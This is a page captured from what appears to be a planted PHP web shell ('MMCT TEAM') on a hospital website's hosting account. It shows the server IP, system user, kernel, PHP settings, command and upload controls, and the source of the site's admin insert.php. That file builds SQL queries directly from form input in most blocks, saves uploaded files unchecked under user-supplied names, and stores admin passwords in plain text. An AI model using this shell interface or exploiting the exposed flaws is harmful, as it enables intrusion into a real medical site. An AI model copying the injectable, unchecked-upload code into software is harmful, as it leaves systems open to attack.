MMCT TEAM
Server IP : 82.197.83.136  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u163988420 ( 163988420)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u163988420/domains/brshastrihospital.com/public_html/AACSITE/br-admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u163988420/domains/brshastrihospital.com/public_html/AACSITE/br-admin/insert.php
<?php 
include('../connection.php');
// Admin
if (!empty($_POST['admin'])) {
			$name = $_POST['name'];
			$username = $_POST['username']; 
			$password = $_POST['password'];
			
			$image = $_FILES['image']['name'];
			$temp = $_FILES['image']['tmp_name'];
			$folder="uploads/admin/".$image;

			$insert = "INSERT INTO `admin`(`name`, `username`, `password`, `image`) VALUES ('$name','$username','$password','$image')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				// Now let's move the uploaded image into the folder: image
		        if (move_uploaded_file($temp,$folder))  
		        {
		            $_SESSION['status'] ="Data Inserted";
					$_SESSION['status_code'] = "success";
					header('location:admin.php');
		        }
		        else{
		            $_SESSION['status'] ="Image Not Inserted";
					$_SESSION['status_code'] = "error";
					header('location:admin.php');
		      	}
				
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:admin.php');
			}

		}

// Top Navbar
if (!empty($_POST['top_navbar'])) {
			$title1 = $_POST['title1'];
			$title2 = $_POST['title2'];
			$title3 = $_POST['title3'];
			$title4 = $_POST['title4'];


			$insert = "INSERT INTO `top_navbar`( `title1`, `title2`, `title3`, `title4`) VALUES ('$title1','$title2','$title3','$title4')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				$_SESSION['status'] ="Data Inserted";
				$_SESSION['status_code'] = "success";
				header('location:top_navbar.php');
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:top_navbar.php');
			}

		}
// Logo
		if (!empty($_POST['logo'])) {
			$image = $_FILES['image']['name'];
			$temp = $_FILES['image']['tmp_name'];
			$folder="uploads/logo/".$image;

			$insert = "INSERT INTO `logo`(`image`) VALUES ('$image')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				// Now let's move the uploaded image into the folder: image
		        if (move_uploaded_file($temp,$folder))  
		        {
		            
					header('location:logo.php');
		        }
		        else{
		            
					header('location:logo.php');
		      	}
				
			}
			else
			{
				 $_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "success";
				header('location:logo.php');
			}

		}		
// Silder
if (!empty($_POST['silder'])) {
			$title = $_POST['title'];
			$details = $_POST['details']; 
			$f_title1 = $_POST['f_title1'];
			$f_title2 = $_POST['f_title2']; 
			$f_title3 = $_POST['f_title3'];
			$f_title4 = $_POST['f_title4'];

			$image = $_FILES['image']['name'];
			$temp = $_FILES['image']['tmp_name'];
			$folder="uploads/silder/".$image;

			$insert = "INSERT INTO `silder`(`title`, `details`, `f_title1`, `f_title2`, `f_title3`, `f_title4`,`image`) VALUES ('$title','$details','$f_title1','$f_title2','$f_title3','$f_title4','$image')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				// Now let's move the uploaded image into the folder: image
		        if (move_uploaded_file($temp,$folder))  
		        {
		            $_SESSION['status'] ="Data Inserted";
					$_SESSION['status_code'] = "success";
					header('location:silder.php');
		        }
		        else{
		            $_SESSION['status'] ="Image Not Inserted";
					$_SESSION['status_code'] = "error";
					header('location:silder.php');
		      	}
				
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:silder.php');
			}

		}
// Home About
if (!empty($_POST['home_about'])) {
			$title = $_POST['title'];
			$title = $_POST['details']; 
			
			$image = $_FILES['image']['name'];
			$temp = $_FILES['image']['tmp_name'];
			$folder="uploads/home_about/".$image;

			$insert = "INSERT INTO `home_about`(`title`, `details`, `image`) VALUES ('$title','$details','$image')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				// Now let's move the uploaded image into the folder: image
		        if (move_uploaded_file($temp,$folder))  
		        {
		            $_SESSION['status'] ="Data Inserted";
					$_SESSION['status_code'] = "success";
					header('location:home_about.php');
		        }
		        else{
		            $_SESSION['status'] ="Image Not Inserted";
					$_SESSION['status_code'] = "error";
					header('location:home_about.php');
		      	}
				
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:home_about.php');
			}

		}		
// Home treatment
if (!empty($_POST['home_treatment'])) {
			$title = $_POST['title'];
			$details = $_POST['details'];
			$p_1 = $_POST['p_1'];
			$p_2 = $_POST['p_2'];
			$p_3 = $_POST['p_3'];


			$insert = "INSERT INTO `home_treat`( `title`, `details`, `p_1`, `p_2`, `p_3`) VALUES ('$title','$details','$p_1','$p_2','$p_3')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				$_SESSION['status'] ="Data Inserted";
				$_SESSION['status_code'] = "success";
				header('location:home_treatment.php');
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:home_treatment.php');
			}

		}
// Footer_about
if (!empty($_POST['footer_about'])) {
			$details = $_POST['details'];
		
			$image = $_FILES['image']['name'];
			$temp = $_FILES['image']['tmp_name'];
			$folder="uploads/logo/".$image;

			$insert = "INSERT INTO `footer_about`(`details`, `image`) VALUES ('$details','$image')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				// Now let's move the uploaded image into the folder: image
		        if (move_uploaded_file($temp,$folder))  
		        {
		            $_SESSION['status'] ="Data Inserted";
					$_SESSION['status_code'] = "success";
					header('location:footer_about.php');
		        }
		        else{
		            $_SESSION['status'] ="Image Not Inserted";
					$_SESSION['status_code'] = "error";
					header('location:footer_about.php');
		      	}
				
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:footer_about.php');
			}

		}	
// Footer Dept			
if (!empty($_POST['footer_dept'])) {
			$dept_name = $_POST['dept_name'];
			$insert = "INSERT INTO `footer_dept`( `dept_name`) VALUES ('$dept_name')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				$_SESSION['status'] ="Data Inserted";
				$_SESSION['status_code'] = "success";
				header('location:footer_dept.php');
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:footer_dept.php');
			}

		}
// footer Link
if (!empty($_POST['footer_link'])) {
			$link_name = $_POST['link_name'];
			$link = $_POST['link'];
			$insert = "INSERT INTO `footer_link`( `link_name`,`link`) VALUES ('$link_name','$link')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				$_SESSION['status'] ="Data Inserted";
				$_SESSION['status_code'] = "success";
				header('location:footer_link.php');
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:footer_link.php');
			}

		}		
// Footer Contact
if (!empty($_POST['footer_contact'])) {
			$details = $_POST['details'];
			$number = $_POST['number'];
			$address = $_POST['address'];
			$insert = "INSERT INTO `footer_contact`( `details`,`number`,`address`) VALUES ('$details','$number','$address')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				$_SESSION['status'] ="Data Inserted";
				$_SESSION['status_code'] = "success";
				header('location:footer_contact.php');
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:footer_contact.php');
			}

		}

// Services		
if (!empty($_POST['services'])) {
			$title = $_POST['title'];
		
			$image = $_FILES['image']['name'];
			$temp = $_FILES['image']['tmp_name'];
			$folder="uploads/services/".$image;

			$insert = "INSERT INTO `services`(`title`, `image`) VALUES ('$title','$image')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				// Now let's move the uploaded image into the folder: image
		        if (move_uploaded_file($temp,$folder))  
		        {
		            $_SESSION['status'] ="Data Inserted";
					$_SESSION['status_code'] = "success";
					header('location:services.php');
		        }
		        else{
		            $_SESSION['status'] ="Image Not Inserted";
					$_SESSION['status_code'] = "error";
					header('location:services.php');
		      	}
				
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:services.php');
			}

		}		

// Department
if (!empty($_POST['department'])) {
			$title = $_POST['title'];
		
			$image = $_FILES['image']['name'];
			$temp = $_FILES['image']['tmp_name'];
			$folder="uploads/department/".$image;

			$insert = "INSERT INTO `department`(`title`, `image`) VALUES ('$title','$image')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				// Now let's move the uploaded image into the folder: image
		        if (move_uploaded_file($temp,$folder))  
		        {
		            $_SESSION['status'] ="Data Inserted";
					$_SESSION['status_code'] = "success";
					header('location:departments.php');
		        }
		        else{
		            $_SESSION['status'] ="Image Not Inserted";
					$_SESSION['status_code'] = "error";
					header('location:departments.php');
		      	}
				
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:services.php');
			}

		}			

// Contact
if (!empty($_POST['contact'])) {
			$title = $_POST['title'];
			$details = $_POST['details'];
			$number = $_POST['number'];
			$address = $_POST['address'];
			$time = $_POST['time'];


			$insert = "INSERT INTO `contact`( `title`, `details`, `number`, `address`,`time`) VALUES ('$title','$details','$number','$address','$time')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				$_SESSION['status'] ="Data Inserted";
				$_SESSION['status_code'] = "success";
				header('location:contact.php');
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:contact.php');
			}

		}

// About
if (!empty($_POST['about'])) {
			$title = $_POST['title'];
			$details = $_POST['details']; 
			$p1 = $_POST['p1']; 
			$p2 = $_POST['p2']; 
			$p3 = $_POST['p3']; 
			$p4 = $_POST['p4']; 
			$p5 = $_POST['p5']; 
			$p6 = $_POST['p6']; 
			
			$image = $_FILES['image']['name'];
			$temp = $_FILES['image']['tmp_name'];
			$folder="uploads/about/".$image;

			$insert = "INSERT INTO `about`(`title`, `details`, `p1`,`p2`,`p3`,`p4`,`p5`,`p6`,`image`) VALUES ('$title','$details','$p1','$p2','$p3','$p4','$p5','$p6','$image')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				// Now let's move the uploaded image into the folder: image
		        if (move_uploaded_file($temp,$folder))  
		        {
		            $_SESSION['status'] ="Data Inserted";
					$_SESSION['status_code'] = "success";
					header('location:about.php');
		        }
		        else{
		            $_SESSION['status'] ="Image Not Inserted";
					$_SESSION['status_code'] = "error";
					header('location:about.php');
		      	}
				
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:home_about.php');
			}

		}

// Silder
if (!empty($_POST['doctor'])) {
			$name = mysqli_escape_string($con,$_POST['name']);
			$specialization =mysqli_escape_string($con,$_POST['specialization']);
			$details =mysqli_escape_string($con,$_POST['details']);
			

			$image = $_FILES['image']['name'];
			$temp = $_FILES['image']['tmp_name'];
			$folder="uploads/doctor/".$image;

			$insert = "INSERT INTO `doctor`(`name`, `specialization`, `details`, `image`) VALUES ('$name','$specialization','$details','$image')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				// Now let's move the uploaded image into the folder: image
		        if (move_uploaded_file($temp,$folder))  
		        {
		            $_SESSION['status'] ="Data Inserted";
					$_SESSION['status_code'] = "success";
					header('location:doctor.php');
		        }
		        else{
		            $_SESSION['status'] ="Image Not Inserted";
					$_SESSION['status_code'] = "error";
					header('location:doctor.php');
		      	}
				
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:doctor.php');
			}

		}
// Gallery
		if (!empty($_POST['gallery'])) {
			$image = $_FILES['image']['name'];
			$temp = $_FILES['image']['tmp_name'];
			$folder="uploads/gallery/".$image;

			$insert = "INSERT INTO `gallery`(`image`) VALUES ('$image')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				// Now let's move the uploaded image into the folder: image
		        if (move_uploaded_file($temp,$folder))  
		        {
		            
					header('location:gallery.php');
		        }
		        else{
		            
					header('location:gallery.php');
		      	}
				
			}
			else
			{
				 $_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "success";
				header('location:gallery.php');
			}

		}		

if (!empty($_POST['home_tech'])) {
			$title1 = $_POST['title'];
			$details = $_POST['details'];
			$p1 = $_POST['p1'];
			$p2 = $_POST['p2'];
			$p3 = $_POST['p3'];

			$insert = "INSERT INTO `home_tech`( `title`, `details`, `p1`, `p2`, `p3`) VALUES ('$title','$details','$p1','$p2','$p3')";
			$res=mysqli_query($con,$insert);

			if ($res == true) {
				$_SESSION['status'] ="Data Inserted";
				$_SESSION['status_code'] = "success";
				header('location:home_tech.php');
			}
			else
			{
				$_SESSION['status'] ="Data Not Inserted";
				$_SESSION['status_code'] = "error";
				header('location:home_tech.php');
			}

		}











?>

MMCT - 2023